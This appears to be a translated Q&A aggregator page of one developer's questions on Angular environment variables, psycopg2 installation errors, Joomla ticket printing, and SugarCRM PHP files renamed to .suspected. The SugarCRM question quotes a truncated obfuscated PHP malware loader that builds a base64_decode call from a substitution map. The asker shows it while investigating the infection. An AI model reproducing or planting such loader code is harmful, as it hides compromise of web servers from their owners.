小编Amo*_*ane的帖子

如何在index.html中为Angular 6使用环境变量

我正在使用angular6,在我的项目中我使用Facebook Account Toolkit进行移动验证.

我需要使用以下代码在index.html文件中初始化Account toolkit.

  AccountKit.init({
   appId:"XX",
   state:"xx",
   version:"v1.2",
   fbAppEventsEnabled:true,
   debug:true
 });
Run Code Online (Sandbox Code Playgroud)

问题是,appId状态的值根据环境(开发/测试/生产)而变化.

如何在index.html文件中使用环境变量.

如果有人有角度6的解决方案,请告诉我.

提前致谢.

account-kit angular6

23
推荐指数
5
解决办法
1万
查看次数

php文件自动重命名为php.suspected

自从过去4天以来,我们在生产服务器(AWS EC2实例)上面临着一个奇怪的问题,该问题仅针对一个SugarCRM站点.

问题是/home/site_folder/public_html/include/MassUpdate.php文件自动重命名为/home/site_folder/public_html/include/MassUpdate.php.suspected

这种情况一天发生2-3次,间隙为3-4小时.仅在特定站点的情况下才会出现此问题,即使对于同一站点的暂存副本也不会发生此问题.我甚至从两个站点检查了该文件的代码,它是一样的.

我们使用Google搜索并发现,此问题主要发生在Wordpress网站上,可能是因为攻击.但我们检查了我们的服务器对抗攻击,没有任何.此外,服务器上没有运行病毒/恶意软件扫描.

我们应该做什么?

更新: 我们在通过此链接后发现了一些事情 我们执行egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/并发现有少量文件包含以下示例代码.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', …
Run Code Online (Sandbox Code Playgroud)

php linux apache amazon-ec2 sugarcrm

13
推荐指数
1
解决办法
2万
查看次数

在 macos 10.15 上安装 psycopg2 python 3.7 时出错

我试过 pip3 install psycopg2

遇到这些错误,无法理解我需要做什么。

请帮忙。

Collecting psycopg2==2.7.3.1   Using cached https://files.pythonhosted.org/packages/6b/fb/15c687eda2f925f0ff59373063fdb408471b4284714a7761daaa65c01f15/psycopg2-2.7.3.1.tar.gz Installing collected packages: psycopg2
    Running setup.py install for psycopg2: started
    Running setup.py install for psycopg2: finished with status 'error'

    ERROR: Command errored out with exit status 1:
     command: /Users/amolchakane/Desktop/Projects/kisanoauth/venv/bin/python -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c7/wshj0hq9637_ddn00y_52y7c0000gp/T/pycharm-packaging/psycopg2/setup.py'"'"';
__file__='"'"'/private/var/folders/c7/wshj0hq9637_ddn00y_52y7c0000gp/T/pycharm-packaging/psycopg2/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record /private/var/folders/c7/wshj0hq9637_ddn00y_52y7c0000gp/T/pip-record-f050z4mz/install-record.txt
--single-version-externally-managed --compile --install-headers /Users/amolchakane/Desktop/Projects/kisanoauth/venv/include/site/python3.7/psycopg2
         cwd: /private/var/folders/c7/wshj0hq9637_ddn00y_52y7c0000gp/T/pycharm-packaging/psycopg2/
    Complete output (61 lines):
    running install
    running build
    running build_py
    creating build
    creating build/lib.macosx-10.9-x86_64-3.7
    creating build/lib.macosx-10.9-x86_64-3.7/psycopg2 …
Run Code Online (Sandbox Code Playgroud)

django python-3.x macos-catalina

9
推荐指数
1
解决办法
3529
查看次数

如何通过代码调整打印选项?

我在Joomla有一个订票系统.

当用户点击故障单链接时,网站上会显示故障单.

我正在使用barcode.php文件生成票号的条形码图像.

现在有两种用于打印票证的场景.

  1. 当我使用window.print()Ctrl + P打印该票证时,即使我的票证内容只是单页,也会打印2页.

  2. 当我使用以下javascript代码打印页面的特定部分时,不会生成条形码图像.

    function print_specific_div_content(){
        var content = "<html>";
        content += document.getElementById("divToPrint").innerHTML ;
        content += "</body>";
        content += "</html>";
    
        var printWin = window.open('','','left=0,top=0,width=552,height=477,toolbar=0,scrollbars=0,status =0');
        printWin.document.write(content);
        printWin.document.close();
        printWin.focus();
        printWin.print();
        printWin.close();
    }
    
    Run Code Online (Sandbox Code Playgroud)

我的要求是:

门票应仅在单页上打印.

任何帮助或建议将不胜感激.

谢谢.

编辑1:

我修改了我的功能如下,但遗憾的是它显示了新窗口但没有打印对话框.:(

function print_specific_div_content(){
    var win = window.open('','','left=0,top=0,width=552,height=477,toolbar=0,scrollbars=0,status =0');
    var handler = function() {
      win.print();
      win.close();
    };
    if(win.addEventListener)
        win.addEventListener('load', handler, false);
    else if(win.attachEvent)
        win.attachEvent('onload', handler, false);

    var content = "<html>";
    content += document.getElementById("divToPrint").innerHTML ; …
Run Code Online (Sandbox Code Playgroud)

javascript php joomla

3
推荐指数
1
解决办法
3万
查看次数